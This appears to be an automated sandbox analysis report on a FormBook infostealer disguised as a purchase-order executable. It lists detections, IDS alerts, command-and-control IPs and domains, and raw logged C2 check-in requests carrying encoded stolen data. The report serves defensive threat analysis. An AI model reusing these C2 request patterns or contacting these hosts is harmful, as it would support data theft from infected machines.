Windows Analysis Report
Pre Alert PO TVKJEANSA00967.bat.exe

AI detected suspicious sample

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2069017164.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942858170.0000000002910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942772610.00000000028C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2941481710.00000000004F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2944930407.0000000005280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2082286321.0000000003CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2943135814.0000000002270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2070855400.00000000018F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Joe Sandbox ML: detected

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: runas.pdbGCTL source: RegSvcs.exe, 00000008.00000002.2069389047.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942271175.000000000051E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: nhClcdOjQwJ.exe, 00000011.00000000.1994231473.000000000004E000.00000002.00000001.01000000.0000000D.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2941482691.000000000004E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: RegSvcs.pdb, source: runas.exe, 00000012.00000002.2943817151.0000000004ADC000.00000004.10000000.00040000.00000000.sdmp, runas.exe, 00000012.00000002.2941572830.0000000000567000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000000.2137618964.0000000002E4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2364882227.00000000213EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000008.00000002.2069759006.0000000001560000.00000040.00001000.00020000.00000000.sdmp, runas.exe, 00000012.00000003.2069287148.0000000004154000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.00000000044B0000.00000040.00001000.00020000.00000000.sdmp, runas.exe, 00000012.00000003.2071135298.0000000004306000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.000000000464E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000008.00000002.2069759006.0000000001560000.00000040.00001000.00020000.00000000.sdmp, runas.exe, runas.exe, 00000012.00000003.2069287148.0000000004154000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.00000000044B0000.00000040.00001000.00020000.00000000.sdmp, runas.exe, 00000012.00000003.2071135298.0000000004306000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.000000000464E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: QIoK.pdb source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr
Source:	Binary string: RegSvcs.pdb source: runas.exe, 00000012.00000002.2943817151.0000000004ADC000.00000004.10000000.00040000.00000000.sdmp, runas.exe, 00000012.00000002.2941572830.0000000000567000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000000.2137618964.0000000002E4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2364882227.00000000213EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: QIoK.pdbSHA256 source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr
Source:	Binary string: runas.pdb source: RegSvcs.exe, 00000008.00000002.2069389047.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942271175.000000000051E000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\runas.exe

Code function: 18_2_0050C8A0 FindFirstFileW,FindNextFileW,FindClose,

18_2_0050C8A0

Source: C:\Windows\SysWOW64\runas.exe	Code function: 4x nop then xor eax, eax		18_2_004F9DE0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 4x nop then mov ebx, 00000004h		18_2_043004DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49768 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49775 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49787 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49787 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49781 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49743 -> 15.197.142.173:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49743 -> 15.197.142.173:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49803 -> 139.162.181.76:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49826 -> 139.162.181.76:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49826 -> 139.162.181.76:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49810 -> 139.162.181.76:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49817 -> 139.162.181.76:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49841 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49847 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49853 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49884 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49860 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49860 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49891 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49878 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49898 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49898 -> 194.58.112.174:80

Source: Joe Sandbox View	IP Address: 15.197.142.173 15.197.142.173
Source: Joe Sandbox View	IP Address: 15.197.142.173 15.197.142.173
Source: Joe Sandbox View	IP Address: 194.58.112.174 194.58.112.174

Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: TANDEMUS TANDEMUS
Source: Joe Sandbox View	ASN Name: AS-REGRU AS-REGRU

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /3acc/?LRW=skYxN//30ryIi85Wi0QpETYUbcdPFuXI+97QewxhrY3NM2hqn6Sq2BPHPiKxfL80eN+v/gcRWuFAYeqrMVkPGGlMHJiH0BFPFC9u+m//81WV26UqMu5nMks=&fvqp6=9vfXK HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.dojodigitize.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Source: global traffic	HTTP traffic detected: GET /yjgs/?LRW=5PllmvK0caJhA9qO+og5+P8kc5JWR+uQLy91XhuloCAo6K0czluNggt7J8fRT5aF3DbStYNhlgg+eys4IUnD8eH0N6/eozV0E04Jm3Q8YYXSei9vmTSoi+w=&fvqp6=9vfXK HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.17jkgl.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Source: global traffic	HTTP traffic detected: GET /d43q/?fvqp6=9vfXK&LRW=qOy9fp5Cl0yUgYAEczO7dyJ+bxzOsQOuCHBFuR5y1LF4o9syCZkEzLGi7aZXV+ZbwDd0E0+zyiVRHPLTItQK1mi6x0nkeaPePZztRgCxUMm7wu9eAI3Dzhs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.alvinsd.buzzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Source: global traffic	HTTP traffic detected: GET /b20s/?LRW=tVBfi4VbWyAR4A6JwX/2lnpR3RCqqMOz/iPk8q4RNy1B2px1ZjxG3cjS/n2u+as/M6yp5i3EDz3+5965KIAUeXyPV8KfzAH0F+33TTK6hNoSGlASxdt3tI0=&fvqp6=9vfXK HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.shipincheshi.todayConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Source: global traffic	HTTP traffic detected: GET /7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL+vM7NE/eWH/lfB0APMSfRaR1rRBz2uUzJ3oOd5olZUFD7UQvVw3JpX4K8u0SeOs3hkY= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.elinor.clubConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1

Source: global traffic	DNS traffic detected: DNS query: www.dojodigitize.shop
Source: global traffic	DNS traffic detected: DNS query: www.17jkgl.com
Source: global traffic	DNS traffic detected: DNS query: www.alvinsd.buzz
Source: global traffic	DNS traffic detected: DNS query: www.shipincheshi.today
Source: global traffic	DNS traffic detected: DNS query: www.elinor.club

Source: unknown

HTTP traffic detected: POST /yjgs/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateHost: www.17jkgl.comOrigin: http://www.17jkgl.comReferer: http://www.17jkgl.com/yjgs/Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 200User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1Data Raw: 4c 52 57 3d 30 4e 4e 46 6c 62 32 45 62 2b 77 37 49 74 6d 45 6d 70 34 70 6c 50 59 7a 54 5a 4e 54 45 74 47 44 4e 68 4d 54 53 78 57 4e 6f 77 30 41 39 37 56 41 37 30 33 52 32 33 35 56 46 2b 48 4c 59 64 4c 54 6e 79 75 6c 77 71 67 33 73 53 74 42 5a 52 34 34 4e 41 44 70 79 4e 2f 4e 4b 36 50 54 7a 54 52 51 53 52 70 67 67 30 6f 4d 65 61 6e 65 51 79 38 56 36 79 36 39 6e 75 70 4b 45 34 64 6b 53 77 49 43 50 4f 72 71 65 34 34 4f 42 54 31 51 77 38 4a 4b 48 4c 6e 7a 54 75 54 53 47 4f 58 48 49 7a 2b 51 76 44 75 55 58 75 33 6e 41 51 51 6b 55 65 34 70 58 38 54 78 78 6e 51 42 4d 6a 6d 49 79 6f 34 5a 34 67 3d 3d Data Ascii: LRW=0NNFlb2Eb+w7ItmEmp4plPYzTZNTEtGDNhMTSxWNow0A97VA703R235VF+HLYdLTnyulwqg3sStBZR44NADpyN/NK6PTzTRQSRpgg0oMeaneQy8V6y69nupKE4dkSwICPOrqe44OBT1Qw8JKHLnzTuTSGOXHIz+QvDuUXu3nAQQkUe4pX8TxxnQBMjmIyo4Z4g==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: awselb/2.0Date: Wed, 27 Nov 2024 15:43:19 GMTContent-Length: 0Connection: closeWAFRule: 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableDate: Wed, 27 Nov 2024 15:43:44 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeContent-Length: 0Content-Type: text/html; charset=utf-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Nov 2024 15:58:24 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4794Content-Type: text/html; charset=utf-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 5c 71 77 db 54 96 ff 7b f9 14 6f 4d c1 4e b1 2d db 49 1c 37 71 c2 1a c7 49 3c 24 76 6a 3b 2d 85 76 7d 64 e9 d9 56 23 4b aa f4 1c c7 2d 3d 07 76 67 a0 b3 db 52 3a b0 4c bb 0b cb 14 ce 01 0e ec b4 b3 33 bb c0 00 65 bf 4c 9d a6 7f ed 57 d8 fb 64 d9 96 a5 27 c7 b8 e0 c0 2a 27 89 f4 74 df 7d bf 7b df bd f7 dd fb 2c 39 f9 b7 ab f9 74 e9 dc 76 06 d5 49 43 5e 79 2a d9 fb 87 79 71 e5 29 04 47 b2 81 09 8f 84 3a af 1b 98 2c fb 76 4a 6b a1 84 cf ba 45 24 22 e3 95 47 7f f9 f6 d1 b7 1f 76 6e de 7a f4 ee 87 8f df bd 73 78 ff 7e 92 eb de b1 31 50 f8 06 5e f6 e9 6a 45 25 86 0f 09 aa 42 b0 02 ec 14 55 52 44 bc 1f 54 d4 aa 2a cb 6a cb 87 38 ab 97 41 da 3d 0e f4 e0 4e a2 17 78 03 a3 93 5c bf a9 a2 8a 6d 74 a5 7f 49 0f 41 95 55 7d 11 3d 3d 3b 3b bb 34 74 a3 0a 03 2e a2 68 5c db 47 67 b0 2e f2 0a 1f 44 be 0d 2c ef 61 22 09 3c ca e1 26 f6 05 51 bd d7 10 44 29 5d e2 e5 20 f2 6f 49 82 ae 1a 6a 95 a0 73 fc 06 96 fc 41 64 f0 8a 11 32 b0 2e 55 87 87 68 f0 7a 4d 52 16 51 64 b8 59 e3 45 51 52 6a d0 8e 62 11 18 9e fe 19 50 5c ed 9f d5 a3 57 98 ec a2 b4 53 c4 c9 95 ca 13 32 a4 cb 78 11 c5 12 76 86 fd 9b 2d 2c d5 ea 20 f3 7c c4 d1 55 96 14 1c aa 5b 77 67 63 1e 68 62 6c c5 ce c5 12 09 01 8f 18 6e ce 39 5c 5f 7e aa fb 08 5b 65 f1 23 44 8c ba 44 ac a8 ba 88 f5 10 58 13 51 1b 40 00 0c 0c 55 96 44 f4 34 c6 98 29 d0 ac 87 7a 63 4c ed 59 e3 c6 47 aa b6 a2 ca 22 6b 2c be 52 d1 1d ea 6b ea 06 d5 1f 18 98 36 cc 90 e0 7d 12 12 b1 a0 ea 3c 91 54 00 d4 04 7f d0 e9 1c 8d a4 0b 99 ee b1 88 44 50 00 66 83 60 4f 60 22 4e 7f 96 98 e8 34 70 46 82 75 26 b7 c5 ba ba 87 1d 52 8d 83 7d c0 22 6c 1a 1e d6 75 d5 c1 a6 c2 0b bb 35 5d 85 ce 80 af 9a 10 2a 42 c5 de 7f c0 00 0b 75 15 11 be 22 63 87 db b7 24 91 d4 a9 ab 44 9e 19 d1 53 d3 9d fd fa b6 e9 9e 68 2a 6d 15 02 d2 22 e2 9b 44 f5 b4 90 c4 fc 33 23 bc 2b 1a 9e 9b 5f f2 90 35 d4 9b 91 ea 02 fd 61 99 b7 2b 96 58 56 af f3 a2 d4 34 c0 79 99 d6 59 e5 1b 92 dc 5e 44 69 55 01 97 e0 0d 08 74 9b 52 05 77 e7 08 6d a9 8a 0a 91 6e 0b 2b b2 1a 04 9a a6 2e 61 3d 88 1a d0 6c 68 bc 80 8f d0 df ca 28 2d 7a 78 77 c4 69 0d f6 a0 9e d9 17 b0 66 22 cb 2a 55 d5 1e de c3 b8 7f 8b e5 ba 21 a2 6a 8b 9e d1 d4 d6 39 dc c0 86 c1 d7 b0 d7 d4 bb 02 40 4f f9 b6 a0 22 8a 22 73 26 7a f1 27 82 14 d5 e9 b1 c3 96 c0 0e d2 a6 11 b9 8d cf e2 0e 12 86 64 5c 25 fd 09 9f 1b 41 a8 d3 81 bc 29 d9 a6 e1 b6 8c 9e 45 f4 56 49 5f e7 fb 7b 87 0f ee 3f fe b7 df 3c fe f6 96 cf c3 3a 06 ba 16 54 d1 a1 68 70 22 1e 14 40 e5 60 44 34 5e 96 6a 60 22 02 1e 0e 3c f4 e8 fb 47 95 b9 d0 76 05 66 cd df 08 af 76 38 90 5b 9f f6 50 74 ea d4 a9 a3 4c cb 00 6d 09 38 e4 96 da be ea 8d 67 5d 23 42 e2 29 fa c3 0e 4f a1 fd 5e 80 1a 1f 29 75 61 f6 62 e8 f2 d4 23 b8 20 55 3e 92 11 3d 46 65 0f a2 64 68 32 0f 46 29 29 a6 c7 54 64 55 d8 75 4c 38 cc 36 33 c4 77
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Nov 2024 15:58:32 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 32 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e7 b3 bb e7 bb 9f e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 36 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 31 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 32 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 32 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 38 63 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 33 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 62 62 72 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 68 65 6c 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69

Source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: runas.exe, 00000012.00000002.2943817151.000000000550C000.00000004.10000000.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2943382450.000000000387C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://elinor.club/7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL
Source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1805442128.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp, STiokuWkiGFJ.exe, 00000009.00000002.1994696296.000000000274A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: nhClcdOjQwJ.exe, 00000013.00000002.2944930407.0000000005308000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.elinor.club
Source: nhClcdOjQwJ.exe, 00000013.00000002.2944930407.0000000005308000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.elinor.club/7plr/
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812739466.000000000607A000.00000004.00000020.00020000.00000000.sdmp, Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
